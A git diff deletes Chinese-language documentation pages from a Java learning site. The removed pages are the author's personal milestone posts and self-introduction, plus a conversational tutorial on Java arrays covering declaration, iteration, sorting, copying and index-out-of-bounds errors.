--- a/docs/src/about-the-author/csdn-1000wan.md
+++ /dev/null
@@ -1,219 +0,0 @@
----
-category:
- - 联系作者
-tag:
- - 心路历程
----
-
-
-# 我的第二个,一千万!CSDN阅读
-
-大家好,我是二哥呀!
-
-离[上一个一千万](https://mp.weixin.qq.com/s/8AylY_3EA5wWaKKU-qvDYw),还是上一次。
-
-我努力的回想着,回想自己在 2021 年做出了哪些耀眼的成绩,正襟危坐,回想良久,也只想到这最后一件:**CSDN 的博文访问量也突破了一千万**。
-
-
-
-但这算不算得上是成绩,很难说,因为喜欢这个平台的人有很多,不喜欢这个平台的也有很多。也许,GitHub 上有 110k+ star 的 JavaGuide 的话最具有说服力了,这个平台不规范转载的很多,垃圾资源下载的很多,但也有几个优秀的作者撑起了 CSDN 的半边天,二哥就是其中一个。
-
-
-
-老读者都知道,我是从2014 年,开始坚持写技术博客的。一开始,还没敢在 CSDN 上写,只敢在 JavaEye 上写(估计很多新读者都不太知道这个平台)。
-
-
-
-那时候的 JavaEye 真的是非常非常非常的纯粹(比博客园更纯粹),没有任何商业广告,还时不时送送书,头部作者有 fastjson 的作者温少,《亿级流量网站架构核心技术》作者开涛,想必做技术的大家应该都知道他们俩。
-
-后来胆子大了,就开始在 CSDN 上写,当时认识的头部作者有安晓辉、浅墨(毛星云)、杨秀璋等等。
-
-就这样写着写着,我成了 CSDN 的博客专家,出版了一本技术图书,成为了两届博客之星。
-
-
-
-就这样写着写着,我遇到了越来越多的读者,给他们提供帮助的同时,也成为了他们前进的动力。
-
-据我自己的不完全统计,2021 年,我在朋友圈和公众号送出去了超过 200 本技术图书,每次我都会留个小心机,问中奖的读者是怎么认识二哥的,有没有什么建议,留言中竟然很多都来自 CSDN,这让我又惊又喜。
-
-
-
-经常有读者夸赞二哥好有写作的天赋啊,其实哪里是有天赋,纯粹是因为写得多,所以才写得好。我现在的文笔,讲真,还不如上高中那会,那会才是真的笔下生花,诗都能写得出来,情书就更不用说了。
-
-等过年的时候吧,我把那些尘封多年的文字贴出来给大家瞧瞧。
-
-### 一、追忆往事
-
-借这个机会,和大家一起坐上时光机重温一下往事吧。翻看相册,2021 年,还真有不少令人感动的瞬间,太多太多了,我就每个月挑一件吧。
-
-1 月 13 日,我和妹妹在小叔家的房顶上自拍。
-
-2 月 15 日,我和奶奶的合影。
-
-
-
-3 月 26 日,读者考上研究生了,特意发来祝贺。
-
-
-
-4 月 3 日,和教练小姐姐在健身房合影。
-
-
-
-5 月 25 日,二哥的读者群体扩大了台湾省。
-
-
-
-6 月 13 日,和家人畅游青岛。
-
-
-
-7 月 20 日,被某某女粉追着要联系方式。
-
-
-
-8 月 21 日,在十八线县城的老家砸核桃吃。
-
-
-
-9 月 23 日,收到掘金和 CSDN 寄来的月饼。
-
-
-
-10 月 11 日,收到《二哥的Java进阶之路》专栏在 GitHub 上开源以来的两笔大额打赏。
-
-
-
-11 月 6 日,和四位河科大的学弟撸完串后在校园里的合影。
-
-
-
-12 月 27 日,CSDN 生成的年度报告。
-
-
-
-不知道大家的 2021 过得怎么样?
-
-- 充实?
-- 落魄?
-- 上进?
-- 消极?
-- 幸福?
-- 悲伤?
-
-我个人的感受是**平淡中有一点点小确幸,平凡中有一点点小进步**,这也许就是普通人最真实的写照了吧?
-
-### 二、有点遗憾
-
-一年时间过得可真快,有很多想做好的事情,到最后都差了点意思。就说一件吧,B 站的视频播放量没有达到预期。
-
-
-
-
-8 月份还能坚持一周输出一个,从一开始面对镜头时的恐惧,到慢慢接纳自己。但好景不长,9 月份的时候,视频播放量呈现下降趋势,我就开始胡思乱想了。
-
-- 是不是自己不适合拍视频啊?
-- 是不是自己表达的不够有趣啊?
-- 是不是剪辑没剪好啊?
-
-这种心态其实很正常,但往往这种心态又会影响下一个视频的创作,就失去了正向的反馈。
-
-于是后面就渐渐变成了一个月一个视频,但视频播放并没有任何的起色。
-
-读者群体里有不少爱好写作的小伙伴,应该都能感受到这种困惑,当你辛辛苦苦创作出来的作品得不到认可的时候,就容易陷入自我怀疑当中,对于这一点,二哥也不例外。
-
-所以,这里就拜托大家了,**如果你是二哥的铁粉,看到二哥发了 B 站的视频,赶紧跑去三连支持下,火钳刘明**。三连也是鼓励二哥创作出更多优质视频的最强动力了。
-
-不管怎么样,2022 年,我会改变心态,继续坚持录制视频,**因为普通人想要闯出一片天地,唯有坚持不懈和不断改进**。
-
-有志者,事竟成,破釜沉舟,百二秦关终属楚;
-苦心人,天不负,卧薪尝胆,三千越甲可吞吴。
-
-B 站我一定做到一万粉——这个 flag 不能到。
-
-人这一辈子,很难事事顺心,也很难做什么事都成什么事。总是会遇到一些挫折,重要的是,遇到挫折的时候,如何破局走出来,这才是最重要的。
-
-俗称抗压能力。
-
-时不时会有一些读者问我:
-
-- “我秋招失败了,怎么办?”
-- “我考研失败了,怎么办?”
-- “我被公司裁了,怎么办?”
-- “我无法晋升了,怎么办?”
-
-大局观上来说,最好的办法就是接纳自己,接纳自己的失败。
-
-- 秋招失败了,就准备春招,总结一波秋招发挥失误的点是什么,然后在春招前补上。
-- 考研失败了,要么二战,要么就找一份工作,开辟新的战场。
-- 被公司裁了就所要赔偿,然后赶紧准备简历,找新的工作,不要在过去的失意中沉沦。
-- 找一找没办法晋升的原因是什么,是因为得罪了领导,是因为技术没跟上,职场遇到瓶颈了,要么降低预期,要么猥琐发育等下一波机会,要么跳槽。
-
-拿我自己的 B 站视频来说,应对办法有两个,第一个就是加量,在不断的试错中找出观众喜欢的点和角度;第二个就是提高视频的质量,包括创意、表达方式、后期剪辑等。
-
-有点遗憾不要紧,要紧的是被遗憾击垮!
-
-如果你在 2021 年遇到了不开心,遇到了挫折,请给自己多一点时间。像二哥,不也一样有做不成功的时候嘛,我们都是平凡人,不卑不亢地接纳自己就会有新的起色。
-
-### 三、新的憧憬
-
-展望 2022 年,有太多的期待了。
-
-这不,新的惊喜就是《二哥的Java进阶之路》专栏第一次上了 GitHub 的 trending 榜单!
-
-
-
-正应了那句话,功夫不负有心人。
-
-对于这个开源专栏,我投入了大量的心血,一开始的名字叫《教妹学 Java》,主打 Java 的入门级路线,一直连载了近 100篇原创内容。
-
-后来有朋友建议我,要想走国际化的话,就必须得换个名字,得和国际接轨,于是我就想破脑袋,征求了很多朋友的建议,改成这个《二哥的Java进阶之路》了,因为我之前出版过一本技术书《Web 全栈开发进阶之路》,叫这个名字刚好也非常适合。
-
-英文名字叫 toBeBetterJavaer, 前后呼应,一气呵成。
-
-立个 flag 吧,**2022 年,冲 5000 star**!
-
-
-
-这个 flag 绝不能倒!
-
-还有一件事,就是我打算共建一个知识星球,因为每天过来咨询二哥问题的读者实在是太多了,导致回复速度变得很慢,效率不高。
-
-如果能建一个知识星球,把这些问题的答案全部沉淀下来,隔断时间整理一波 PDF,就美滋滋了。
-
-目前规划的方向有:
-
-- offer 咨询
-- 职业规划
-- 简历优化
-- 资源分享
-- 打卡共进
-- 助学活动
-
-打算趁过年的这段时间好好的规划一下,列一个详细的清单出来,到时候如果有意愿加入的话,到时候可以来参与一波。
-
-俗话说,一个好汉三个帮,一个篱笆三个桩,大家在一起学习沉淀的话,效率也会比较高,信息差也会被抹平。
-
-最后一件事就是,我希望有更多的时间陪陪家人。虽然二哥在三线城市,但业余时间基本上全部用来输入输出了。
-
-当然了,比起在一线城市打拼的大家伙,二哥陪家人的时间肯定会多一些,但我总觉得不够。毕竟我们无论处于什么阶段,挣多少钱,终归是希望我们家人能过上更好一点的生活。
-
-否则,我们奋斗拼搏加班卖命的工作,又图什么呢?
-
-这恐怕也是二哥宁愿在三线城市待着的最大原因了,人活着只有一次,而最亲的人,就是家人,二哥还是一个比较腻在家人身边的人。
-
-我也希望,大家能在 2022 年找到心爱的人,找到的就更进一步,有家就有烟火味,你奋斗的一切都会显得很值得。
-
-### 四、最后的祝福
-
-如果你是学生党,希望课堂上的你,能够认认真真听讲;如果老师的课实在没意思,网上有很多优质的公开资源,可参考[该死!B 站上这些 Java 视频真香!](https://mp.weixin.qq.com/s/Wgedf4ZH3_zJXxFxyPPyNQ)
-
-还有就是逢考必过,追 TA 必到手。
-
-如果你是工作党,希望工作中的你,不被甩锅,蒸蒸日上;如果事业上遇到瓶颈了,不妨拓展一门副业,给自己打开一扇窗。
-
-还有就是绩效必 A,跳槽涨薪美滋滋。
-
-就这吧!
-
-如果可以的话,大家可以在评论区刷一波,**二哥牛逼,2022 我们一起飞**~~
diff --git a/docs/src/about-the-author/readme.md b/docs/src/about-the-author/readme.md
deleted file mode 100644
index 958c6c92d4..0000000000
--- a/docs/src/about-the-author/readme.md
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: 个人介绍 Q&A
-category: 联系作者
----
-
-大家好,我是二哥呀!这篇文章会通过 QA 的形式简单介绍一下我自己。
-
-## 一、我取得了哪些成绩?
-
-又到了晒成绩的环节,真让人迫不及待啊(瞧我这该死的自信)!
-
-### 01、公众号
-
-目前我的原创公众号“**沉默王二**”有 10.5 万+ 读者关注,专注于分享硬核的 Java 后端技术文章。平均阅读 5500 左右,综合排名能排在全国开发者中的前 50 名左右(数据来源于二十次幂)。
-
-可以微信搜索 **沉默王二** 关键字或者扫码直接关注,关注后回复 **00** 还可以拉取我为你精心准备的学习资料。
-
-
-
-学习资料有 BAT 大佬的刷题笔记,有《二哥的Java进阶之路》的 PDF 版电子书等等。
-
-
-
-
-
-### 02、CSDN
-
-两届博客之星,总榜前 10 选手,访问量 1100 万+,粉丝 34 万+,妥妥的裆部博主,哦,不,头部博主。
-
->访问地址:[https://blog.csdn.net/qing_gee](https://blog.csdn.net/qing_gee)
-
-
-
-### 03、知乎
-
-LV9 选手,阅读总数超 1590 万,今年卷一卷的话,破 2000 万阅读没什么问题。
-
->访问地址:[https://www.zhihu.com/people/cmower](https://www.zhihu.com/people/cmower)
-
-
-
-### 04、B 站
-
->访问地址:[https://space.bilibili.com/513340480](https://space.bilibili.com/513340480)
-
-
-
-### 05、GitHub
-
-目前主要维护的《二哥的Java进阶之路》开源版在 GitHub 上有 2.7k+ 的 star,和出版社约定的是,超过 1 万 star 就出书,小伙伴们可以来点赞支持下。
-
->访问地址:[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
-
-
-
-
-### 05、知识星球
-
-目前还处在试运营阶段,正在筹备星球用户专属的 5 份小册,质量高的一笔。
-
-
-
-内容涵盖实战项目开发笔记、面试指南、Java学习、LeetCode Java 版刷题笔记等优质内容,价值远超门票!
-
-- 编程喵喵开源 Spring Boot+Vue 的前后端分离项目实战笔记
-- **Java 面试指南**,今年重点更新内容,涵盖面试准备篇、技术面试题篇、面经篇、职场修炼篇等等硬核内容。
-- 二哥的Java进阶之路优化重构版(星球专属)
-- GitHub 上星标 147k+ 的 Java 教程(更多优质教程持续更新)
-- LeetCode 题解 Java 版(持续更新 300 道)
-
-这是《Java 面试指南》专栏目前已经更新的内容,讲真,就这一个专栏就值回票价(新人优惠价只有 69 元)。
-
-
-
-还有星球内部我也在坚持每天更新优质的内容。
-
-
-
-喜欢的小伙伴可以直接扫码加入。
-
-
-
-## 二、为什么叫沉默王二
-
-其实原因很简单,我个人比较喜欢王小波,小波是个程序员,还是个作家,写的小说和杂文我都特别喜欢,有一本叫《沉默的大多数》,我就取了沉默二字,《黄金时代》里和陈清扬搞破鞋的男主就叫王二,加上小波在家排行老二,上面有个哥哥,下面有个弟弟,所以综合到一起就叫“沉默王二”了。
-
-## 三、为什么做这个开源知识库
-
-> [!NOTE]
-> 知识库取名 **toBeBetterJavaer**,即 **To Be Better Javaer**,意为「成为一名更好的 Java 程序员」,是自学 Java 以来所有原创文章和学习资料的大聚合。内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 企业级开发、Java 面试等核心知识点。据说每一个优秀的 Java 程序员都喜欢她,风趣幽默、通俗易懂。学 Java,就认准 二哥的Java进阶之路😄。
->
-> 知识库旨在为学习 Java 的小伙伴提供一系列:
-> - **优质的原创 Java 教程**
-> - **全面清晰的 Java 学习路线**
-> - **免费但靠谱的 Java 学习资料**
-> - **精选的 Java 岗求职面试指南**
-> - **Java 企业级开发所需的必备技术**
->
-> 赠人玫瑰手有余香。知识库会持续保持**更新**,欢迎收藏品鉴!
-
->访问地址:[https://javabetter.cn](https://javabetter.cn)
-
-## 四、未完待续
diff --git a/docs/src/about-the-author/zhihu-1000wan.md b/docs/src/about-the-author/zhihu-1000wan.md
deleted file mode 100644
index 4fc276dbde..0000000000
--- a/docs/src/about-the-author/zhihu-1000wan.md
+++ /dev/null
@@ -1,119 +0,0 @@
----
-category:
- - 联系作者
-tag:
- - 心路历程
----
-
-
-# 我的第一个,一千万!知乎阅读
-
-
-大家好,我是二哥呀!
-
-前几天,偷偷摸摸过了自己的第 N 个 18 岁,本来不想过生日的,就想当做是平常的一天。结果我妹非要提醒我,大家伙瞧瞧,这像妹妹该说的话吗?
-
-
-
-呜呜呜~
-
-求安慰。
-
-不想安慰就想偷着乐是吧?那我自己安慰下自己吧。
-
-**经营了近一年的知乎,阅读总数突破了一千万,这也是我人生当中的第一个**。
-
-
-
-其实早在 11 月就破了千万,当时就想记录一下,但细想一下,好像这点成绩也算不上什么。毕竟逼乎上人均 985、年薪百万、刚下飞机的大佬多的是。
-
-为什么放在 12 月说呢,大家都懂的,毕竟再过几天 2021 年就要结束了,总得记录点啥。
-
-况且一千万的阅读量,放在技术圈,确实不算少了。况且我这些分享确实实打实的帮助了不少的小伙伴。
-
-这不,前几天一个帖子莫名其妙被知乎删除了,我是无感知的。一个小伙伴为了看这个帖子,还特意发起了一次 9.8 元的付费咨询。
-
-
-
-这足以说明这个帖子的内容是足够硬核的。
-
-写知乎这近一年时间里,有一个帖子无声无息地爆了:**60 万+的阅读,7000+赞同,2.3 万+次的收藏**。
-
-
-
-不对啊,收藏竟然是点赞的 3 倍还多。。嗯,此时此刻天空飘出来了四个字:白票真香。
-
-不过,有一说一,大家好,才是真的好,这么多人点赞收藏,确实是干货无疑了。
-
-讲真,这个帖子说实在的,属于无心插柳柳成荫了,就是一个即兴作品。
-
-我只不过是把自己写过的公众号文章做了一个梳理总结。不过我过了一把导演的梦,加上了一点电影拍摄的手法。
-
-相信大家去看完后也会有一种:卧槽,牛逼啊。
-
-并且是拍着大腿的那种。
-
-地址我贴出来了,没看过的小伙伴可以去欣赏一下。
-
->https://www.zhihu.com/question/66535555/answer/1799868707
-
-不知不觉,我已经回洛阳 8 年了!加上在苏州的 3 年半,正儿八经做程序员的时间已经超过 10 年了,时间过得可真快!
-
-为了体现出我的文学修养,此时必须加上几个成语:真的是光阴似箭、日月如梭、白驹过隙啊。
-
-按照网上的说法,我这种人要么飞黄腾达财务自由了,要么被无情辞退转行跑滴滴了。
-
-无奈我既不是前一种,也不是后一种。
-
-既不卷,也不躺平。
-
-有焦虑,也有幸福。
-
-对未来,有期待,也有担忧。
-
-对当下,有满足,也有不满。
-
-。。。。。。
-
-完蛋,一不小心上升到哲学的层面上了,收收收收。
-
-这么说吧,我一直觉得自己比较幸运。
-
-大学原本选的不是计算机专业,却一不小心做了程序员,没想到,这个职业还挺适合自己。
-
-大学过得一塌糊涂,却不经意间去了一家外企,做到了 work-life-balance。
-
-身处三线城市,按理说这里是一片互联网的荒漠,我却在这里开荒拓土出了一片绿洲。
-
-再加上公众号的恰饭,确实让我的生活变得不再那么窘迫了。不管是输入还是输出,也都有了更强的动力。
-
-毕竟只靠爱来发电,很难坚持。
-
-如果你觉得有些饭不错,感兴趣,不妨试试,给自己的投资永远都是值得的,并且回报率极高。
-
-反正我自己私底下是买了不少课,毕竟学习是永远不能落下的,不管你是在一线城市,还是二三线城市。
-
-给大家看一下,这只是我书柜的一角。
-
-纸质书虽然已经不流行了,但它会让你感觉踏实,日子过得有奔头。
-
-对恰的饭不感兴趣的,忽略就好,多看看干货给个三连也是非常不错的体验。
-
-我在知乎上还有不少硬核输出,尤其是这些千赞以上的帖子,真心推荐给大家看看,看完后绝壁是有收获的。
-
-
-
-虽然有些埋没的帖子我觉得价值也很高。不过,埋没就埋没吧。
-
-定个小目标吧:2022 年,知乎阅读破 5000 万阅读(好像注定完不成)。
-
-这个 flag 我立这了哈,欢迎大家监督。。
-
-要是完不成,我把知乎上的全部收入拿出来给大家分成,怎么样?
-
-明年底我会在这里公布结果,大家敬请期待。
-
-好了,就聊这么多吧,继续加班回答帖子去了。
-
-
-我是二哥,我们下期见~
diff --git a/docs/src/array/array.md b/docs/src/array/array.md
deleted file mode 100644
index 7bee9e9d3c..0000000000
--- a/docs/src/array/array.md
+++ /dev/null
@@ -1,393 +0,0 @@
----
-title: 掌握Java数组:一个非常特殊的对象
-shortTitle: 数组
-category:
- - Java核心
-tag:
- - 数组&字符串
-description: 本文详细介绍了Java数组,包括数组的基本概念、创建方法、初始化方法以及常用操作。学习本文内容,您将掌握Java数组的定义、如何创建和初始化数组,以及如何进行数组元素的添加、删除、查询等操作,为您的Java编程之旅打下坚实基础。
-head:
- - - meta
- - name: keywords
- content: Java, 数组, 创建数组, 初始化数组, 数组操作
----
-
-“二哥,我看你公众号的一篇文章里提到,[ArrayList](https://javabetter.cn/collection/arraylist.html) 的内部是用数组实现的,我就对数组非常感兴趣,想深入地了解一下,今天终于到这个环节了,好期待呀!”三妹的语气里显得很兴奋。
-
-“的确是的,看 ArrayList 的源码就一清二楚了。”我一边说,一边打开 Intellij IDEA,并找到了 ArrayList 的源码。
-
-```java
-/**
- * The array buffer into which the elements of the ArrayList are stored.
- * The capacity of the ArrayList is the length of this array buffer. Any
- * empty ArrayList with elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA
- * will be expanded to DEFAULT_CAPACITY when the first element is added.
- */
-transient Object[] elementData; // non-private to simplify nested class access
-
-/**
- * The size of the ArrayList (the number of elements it contains).
- *
- * @serial
- */
-private int size;
-```
-
-“瞧见没?`Object[] elementData` 就是数组。”我指着显示屏上这串代码继续说。
-
-数组是一个对象,它包含了一组固定数量的元素,并且这些元素的类型是相同的。数组会按照索引的方式将元素放在指定的位置上,意味着我们可以通过索引来访问这些元素。在 Java 中,索引是从 0 开始的。
-
-“哥,能说一下为什么索引从 0 开始吗?”三妹突然对这个话题很感兴趣。
-
-“哦,Java 是基于 C/C++ 语言实现的,而 C 语言的下标是从 0 开始的,所以 Java 就继承了这个良好的传统习惯(*我瞎编的*)。C语言有一个很重要概念,叫做指针,它实际上是一个偏移量,距离开始位置的偏移量,第一个元素就在开始的位置,它的偏移量就为 0,所以索引就为 0。”此刻,我很自信。
-
-“此外,还有另外一种说法。早期的计算机资源比较匮乏,0 作为起始下标相比较于 1 作为起始下标,编译的效率更高。”
-
-“哦。”三妹意味深长地点了点头。
-
-我们可以将数组理解为一个个整齐排列的单元格,每个单元格里面存放着一个元素。
-
-比如说下图中的数组,值为[a,b,c,a,b,c,b,b],下标依次为 0、1、2、3、4、5、6、7。
-
-
-
-数组元素的类型可以是基本数据类型(比如说 int、double),也可以是引用数据类型(比如说 String),包括自定义类型。
-
-### 数组的声明与初始化
-
-数组的声明方式分两种。
-
-先来看第一种:
-
-```java
-int[] anArray;
-```
-
-再来看第二种:
-
-```java
-int anOtherArray[];
-```
-
-不同之处就在于中括号的位置,是跟在类型关键字的后面,还是跟在变量的名称的后面。前一种的使用频率更高一些,像 ArrayList 的源码中就用了第一种方式。
-
-同样的,数组的初始化方式也有多种,最常见的是:
-
-```java
-int[] anArray = new int[10];
-```
-
-看到没?上面这行代码中使用了 new 关键字,这就意味着数组的确是一个对象,只有对象的创建才会用到 new 关键字,[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)是不用的(基本数据的包装类型是可以 new 的,包装类型就是对象)。然后,我们需要在方括号中指定数组的长度。
-
-这时候,数组中的每个元素都会被初始化为默认值,int 类型的就为 0,Object 类型的就为 null。 不同数据类型的默认值不同,可以参照[之前的文章](https://javabetter.cn/basic-grammar/basic-data-type.html)。
-
-另外,还可以使用大括号的方式,直接初始化数组中的元素:
-
-```java
-int anOtherArray[] = new int[] {1, 2, 3, 4, 5};
-```
-
-这时候,数组的元素分别是 1、2、3、4、5,索引依次是 0、1、2、3、4,长度是 5。
-
-### 数组的常用操作
-
-“哥,怎么访问数组呢?”三妹及时地插话到。
-
-前面提到过,可以通过索引来访问数组的元素,就像下面这样:
-
-```java
-anArray[0] = 10;
-```
-
-变量名,加上中括号,加上元素的索引,就可以访问到数组,通过“=”操作符可以对元素进行赋值。
-
-如果索引的值超出了数组的界限,就会抛出 `ArrayIndexOutOfBoundException`。由于数组的索引是从 0 开始,所以最大索引为 `length - 1`,不要使用超出这个范围内的索引访问数组,否则就会抛出数组越界的异常了。
-
-比如说你声明了一个大小为 10 的数组,你用索引 10 来访问数组,就会抛出这个异常。因为数组的索引是从 0 开始的,所以数组的最后一个元素的索引是 `length - 1`,也就是 9。
-
-当数组的元素非常多的时候,逐个访问数组就太辛苦了,所以需要通过遍历的方式。
-
-第一种,使用 for 循环:
-
-```java
-int anOtherArray[] = new int[] {1, 2, 3, 4, 5};
-for (int i = 0; i < anOtherArray.length; i++) {
- System.out.println(anOtherArray[i]);
-}
-```
-
-通过 length 属性获取到数组的长度,然后从 0 开始遍历,就得到了数组的所有元素。
-
-第二种,使用 for-each 循环:
-
-```java
-for (int element : anOtherArray) {
- System.out.println(element);
-}
-```
-
-如果不需要关心索引的话(意味着不需要修改数组的某个元素),使用 for-each 遍历更简洁一些。当然,也可以使用 while 和 do-while 循环。
-
-### 可变参数与数组
-
-在 Java 中,可变参数用于将任意数量的参数传递给方法,来看 `varargsMethod()` 方法:
-
-```java
-void varargsMethod(String... varargs) {}
-```
-
-该方法可以接收任意数量的字符串参数,可以是 0 个或者 N 个,本质上,可变参数就是通过数组实现的。为了证明这一点,我们可以看一下反编译一后的字节码:
-
-```java
-public class VarargsDemo
-{
-
- public VarargsDemo()
- {
- }
-
- transient void varargsMethod(String as[])
- {
- }
-}
-```
-
-所以,我们其实可以直接将数组作为参数传递给该方法:
-
-```java
-VarargsDemo demo = new VarargsDemo();
-String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员"};
-demo.varargsMethod(anArray);
-```
-
-也可以直接传递多个字符串,通过逗号隔开的方式:
-
-```java
-demo.varargsMethod("沉默王二", "一枚有趣的程序员");
-```
-
-### 数组与 List
-
-在 Java 中,数组与 List 关系非常密切。List 封装了很多常用的方法,方便我们对集合进行一些操作,而如果直接操作数组的话,有很多不便,因为数组本身没有提供这些封装好的操作,所以有时候我们需要把数组转成 List。
-
->List 会在[集合框架](https://javabetter.cn/collection/arraylist.html)一节详细介绍,这里先来个开胃菜,方便大家回头过来复盘。
-
-“怎么转呢?”三妹问到。
-
-最原始的方式,就是通过遍历数组的方式,一个个将数组添加到 List 中。
-
-```java
-int[] anArray = new int[] {1, 2, 3, 4, 5};
-
-List aList = new ArrayList<>();
-for (int element : anArray) {
- aList.add(element);
-}
-```
-
-更优雅的方式是通过 [Arrays 类](https://javabetter.cn/common-tool/arrays.html)(戳链接了解详情)的 `asList()` 方法:
-
-```java
-List aList = Arrays.asList(anArray);
-```
-
-不过需要注意的是,Arrays.asList 的参数需要是 Integer 数组,而 anArray 目前是 int 类型。
-
-可以这样写:
-
-```java
-List aList1 = Arrays.asList(1, 2, 3, 4, 5);
-```
-
-或者换另外一种方式。
-
-```java
-List aList = Arrays.stream(anArray).boxed().collect(Collectors.toList());
-```
-
-这又涉及到了 [Java 流](https://javabetter.cn/java8/stream.html)的知识,戳链接了解。
-
-还有一个需要注意的是,Arrays.asList 方法返回的 ArrayList 并不是 `java.util.ArrayList`,它其实是 Arrays 类的一个内部类:
-
-```java
-private static class ArrayList extends AbstractList
- implements RandomAccess, java.io.Serializable{}
-```
-
-如果需要添加元素或者删除元素的话,需要把它转成 `java.util.ArrayList`。
-
-```java
-new ArrayList<>(Arrays.asList(anArray));
-```
-
-Java 8 新增了 [Stream 流](https://javabetter.cn/java8/stream.html)的概念,这就意味着我们也可以将数组转成 Stream 进行操作。
-
-```java
-String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员", "好好珍重他"};
-Stream aStream = Arrays.stream(anArray);
-```
-
-### 数组的排序与查找
-
-如果想对数组进行排序的话,可以使用 Arrays 类提供的 `sort()` 方法。
-
-- 基本数据类型按照升序排列
-- 实现了 Comparable 接口的对象按照 `compareTo()` 的排序
-
-来看第一个例子:
-
-```java
-int[] anArray = new int[] {5, 2, 1, 4, 8};
-Arrays.sort(anArray);
-```
-
-排序后的结果如下所示:
-
-```java
-[1, 2, 4, 5, 8]
-```
-
-来看第二个例子:
-
-```java
-String[] yetAnotherArray = new String[] {"A", "E", "Z", "B", "C"};
-Arrays.sort(yetAnotherArray, 1, 3,
- Comparator.comparing(String::toString).reversed());
-```
-
-只对 1-3 位置上的元素进行反序,所以结果如下所示:
-
-```
-[A, Z, E, B, C]
-```
-
-有时候,我们需要从数组中查找某个具体的元素,最直接的方式就是通过遍历的方式:
-
-```java
-int[] anArray = new int[] {5, 2, 1, 4, 8};
-for (int i = 0; i < anArray.length; i++) {
- if (anArray[i] == 4) {
- System.out.println("找到了 " + i);
- break;
- }
-}
-```
-
-上例中从数组中查询元素 4,找到后通过 break 关键字退出循环。
-
-如果数组提前进行了排序,就可以使用二分查找法,这样效率就会更高一些。`Arrays.binarySearch()` 方法可供我们使用,它需要传递一个数组,和要查找的元素。
-
-```java
-int[] anArray = new int[] {1, 2, 3, 4, 5};
-int index = Arrays.binarySearch(anArray, 4);
-```
-
-“除了一维数组,还有[二维数组](https://javabetter.cn/array/double-array.html),三妹你可以去研究下,比如说用二维数组打印一下杨辉三角,我们下一节会讲。”
-
-### 数组的复制
-
-有时候我们需要将一个数组的值复制到另外一个数组当中,那就会涉及到数组复制的知识点。
-
-在 [String 类](https://javabetter.cn/string/string-source.html)(讲完数组就会讲)中其实会经常遇到数组复制,比如说 `substring()` 方法。
-
-```java
-public String substring(int beginIndex) {
- return (beginIndex == 0) ? this : new String(value, beginIndex, subLen);
-}
-```
-
-注意其中的 `new String()`,它会返回一个新的字符串,这个字符串的值就是原字符串的一部分,这个过程就涉及到了数组的复制。
-
-```java
-public String(char value[], int offset, int count) {
- this.value = Arrays.copyOfRange(value, offset, offset+count);
-}
-```
-
-其中的 `Arrays.copyOfRange()` 方法就是用来复制数组的,我们在讲 [Arrays 类](https://javabetter.cn/common-tool/arrays.html#_2-copyofrange)的时候就会讲到。
-
-它底层调用的是 `System.arraycopy()` 方法,这个方法是一个 [native 方法](https://javabetter.cn/oo/native-method.html),它是用 C/C++ 实现的,效率非常高。
-
-
-
-System.arraycopy 方法的定义如下所示:
-
-```java
-public static native void arraycopy(Object src, int srcPos,
- Object dest, int destPos,
- int length);
-```
-
-用法如下所示:
-
-```java
-int[] array1 = {1, 2, 3};
-int[] array2 = {4, 5, 6};
-
-// 创建一个新数组,长度为两个数组长度之和
-int[] mergedArray = new int[array1.length + array2.length];
-
-// 复制第一个数组到新数组
-System.arraycopy(array1, 0, mergedArray, 0, array1.length);
-System.out.println(Arrays.toString(mergedArray));
-
-// 复制第二个数组到新数组
-System.arraycopy(array2, 0, mergedArray, array1.length, array2.length);
-System.out.println(Arrays.toString(mergedArray));
-```
-
-输出结果如下所示:
-
-```java
-[1, 2, 3, 0, 0, 0]
-[1, 2, 3, 4, 5, 6]
-```
-
-当然了,我们也可以使用循环来完成数组的复制:
-
-```java
-int[] array1 = {1, 2, 3};
-int[] array2 = {4, 5, 6};
-
-// 创建一个新数组,长度为两个数组长度之和
-int[] mergedArray = new int[array1.length + array2.length];
-
-// 复制第一个数组到新数组
-int index = 0;
-for (int element : array1) {
- mergedArray[index++] = element;
-}
-
-// 复制第二个数组到新数组
-for (int element : array2) {
- mergedArray[index++] = element;
-}
-```
-
-很简单,很好理解,相信三妹你也能看懂。
-
-### 数组越界
-
-在我们进行数组操作的时候,最容易遇到的一个问题就是数组越界,也就是 ArrayIndexOutOfBoundsException [异常](https://javabetter.cn/exception/gailan.html)。
-
-```java
-int[] anArray = new int[] {1, 2, 3, 4, 5};
-System.out.println(anArray[5]);
-```
-
-上面这段代码就会抛出数组越界的异常,因为数组的索引是从 0 开始的,所以最大索引为 `length - 1`,也就是 4,所以当我们使用 5 作为索引的时候,就会抛出异常。
-
-所以在操作数组之前,一定要注意索引的范围。
-
-### 小结
-
-好,今天我们就先讲到这里,说完,我就跑去阳台来一根华子,留三妹在电脑前面练习了起来。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/array/double-array.md b/docs/src/array/double-array.md
deleted file mode 100644
index bf4a3e32a3..0000000000
--- a/docs/src/array/double-array.md
+++ /dev/null
@@ -1,218 +0,0 @@
----
-title: 用一根烟的时间掌握 Java二维数组
-shortTitle: 二维数组
-category:
- - Java核心
-tag:
- - 数组&字符串
-description: 本文深入讲解了Java二维数组的基本概念、创建方法、初始化方法以及常用操作。通过阅读本文,您将了解到如何定义二维数组、创建和初始化二维数组,以及如何进行二维数组的常见操作,如添加、删除、查询等。本文将帮助您快速掌握Java二维数组的使用方法和技巧(打印杨辉三角)。
-head:
- - - meta
- - name: keywords
- content: Java, 二维数组, 创建二维数组, 初始化二维数组, 数组操作, 多维数组
----
-
